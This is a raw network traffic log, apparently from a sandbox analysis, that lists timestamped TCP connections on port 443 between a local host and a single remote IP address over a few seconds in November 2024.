Nov 16, 2024 20:13:32.527076006 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.527215004 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.527230024 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.808166981 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.809068918 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.809119940 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.809477091 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.809485912 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.937578917 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.937649965 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.937768936 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.937872887 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.937872887 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.938139915 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.938164949 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.938183069 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.938190937 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.941800117 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.941874027 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:32.941973925 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.942197084 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:32.942228079 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.004976988 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.006144047 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.006155968 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.007587910 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.007592916 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.014723063 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.015340090 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.015377998 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.015985012 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.015995026 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.133085012 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.133179903 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.133246899 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.133560896 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.133578062 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.133588076 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.133594036 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.137463093 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.137520075 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.137622118 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.137892962 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.137907028 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.158415079 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.158493042 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.158566952 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.158607006 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.158641100 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.158706903 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.158786058 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.158808947 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.158852100 CET	50042	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.158859015 CET	443	50042	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.161588907 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.161648989 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.161742926 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.161927938 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.161945105 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.243558884 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.244318962 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.244343996 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.244975090 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.244980097 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.258105040 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.258614063 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.258636951 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.259243965 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.259248972 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.382663965 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.382745028 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.382807970 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.388278008 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.388298035 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.388308048 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.388314962 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.389092922 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.389175892 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.389333010 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.389446020 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.389467955 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.389480114 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.389486074 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.391554117 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.391608953 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.391704082 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.391798019 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.391809940 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.391911030 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.391940117 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.392003059 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.392071962 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.392081022 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.684130907 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.684797049 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.684823990 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.685276031 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.685280085 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.814843893 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.814909935 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.814969063 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.815016985 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.815071106 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.815253973 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.815273046 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.815288067 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.815294027 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.818538904 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.818583965 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.818682909 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.818831921 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.818851948 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.882915020 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.883337975 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.883353949 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.883784056 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.883790016 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.905368090 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.905729055 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.905744076 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:33.906131983 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:33.906136990 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.014086962 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.014235020 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.014293909 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.014513969 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.014528990 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.014544964 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.014550924 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.018244028 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.018273115 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.018351078 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.018488884 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.018498898 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.035825014 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.035880089 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.035965919 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.036143064 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.036159039 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.036278963 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.036284924 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.045067072 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.045084000 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.045159101 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.045315981 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.045326948 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.136207104 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.136708975 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.136722088 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.137178898 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.137182951 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.155864954 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.156198978 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.156234026 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.156528950 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.156536102 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.268353939 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.268481970 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.268553972 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.268811941 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.268825054 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.268836021 CET	50049	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.268841028 CET	443	50049	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.272471905 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.272511959 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.272607088 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.272849083 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.272864103 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.298212051 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.298255920 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.298314095 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.298345089 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.298419952 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.298592091 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.298640013 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.298670053 CET	50048	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.298686981 CET	443	50048	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.301017046 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.301062107 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.301148891 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.301321030 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.301335096 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.551172972 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.551891088 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.551943064 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.552357912 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.552366018 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.690435886 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.690511942 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.690579891 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.690620899 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.690648079 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.690694094 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.690850973 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.690872908 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.690886974 CET	50050	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.690895081 CET	443	50050	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.694159031 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.694196939 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.694279909 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.694436073 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.694447994 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.766753912 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.767457008 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.767488956 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.767838001 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.767843962 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.790824890 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.791270971 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.791294098 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.791563988 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.791570902 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.900726080 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.900881052 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.900957108 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.901127100 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.901144981 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.901155949 CET	50052	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.901161909 CET	443	50052	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.904601097 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.904705048 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.904813051 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.905006886 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.905044079 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.923129082 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.923341036 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.923548937 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.923548937 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.923548937 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.925787926 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.925838947 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:34.925909996 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.926034927 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:34.926049948 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.009701014 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.010289907 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.010324955 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.010857105 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.010864019 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.017887115 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.018270969 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.018294096 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.018713951 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.018718004 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.139864922 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.139962912 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.140028954 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.140212059 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.140212059 CET	50053	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.140230894 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.140240908 CET	443	50053	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.143217087 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.143316031 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.143408060 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.143539906 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.143577099 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.145622969 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.145648956 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.145689011 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.145698071 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.145744085 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.145893097 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.145910025 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.145919085 CET	50054	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.145924091 CET	443	50054	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.148194075 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.148247004 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.148328066 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.148427010 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.148437977 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.228003979 CET	50051	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.228027105 CET	443	50051	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.439109087 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.440696001 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.440774918 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.441195011 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.441209078 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.569174051 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.569492102 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.569591045 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.569674015 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.569674015 CET	50055	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.569716930 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.569745064 CET	443	50055	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.572941065 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.572994947 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.573101044 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.573267937 CET	50060	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.573302031 CET	443	50060	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.637826920 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.638535976 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.638607025 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.638952017 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.638967991 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.648498058 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.648920059 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.648946047 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.649343967 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.649350882 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.768390894 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.768469095 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.768584013 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.768665075 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.768666029 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.768768072 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.768768072 CET	50056	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.768811941 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.768847942 CET	443	50056	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.771549940 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.771575928 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.771651983 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.771795988 CET	50061	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.771806955 CET	443	50061	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.775165081 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.775547981 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.775612116 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.775728941 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.775748968 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.775763988 CET	50057	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.775769949 CET	443	50057	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.778827906 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.778918028 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.779000998 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.785290003 CET	50062	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.785326004 CET	443	50062	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.872663975 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.873395920 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.873462915 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.873776913 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.873794079 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.882031918 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.882416964 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.882432938 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:35.882817030 CET	50059	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:35.882823944 CET	443	50059	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.002523899 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.002551079 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.002595901 CET	443	50058	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:36.002758026 CET	50058	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:36.002758980 CET	50058	443	192.168.2.4	13.107.246.45
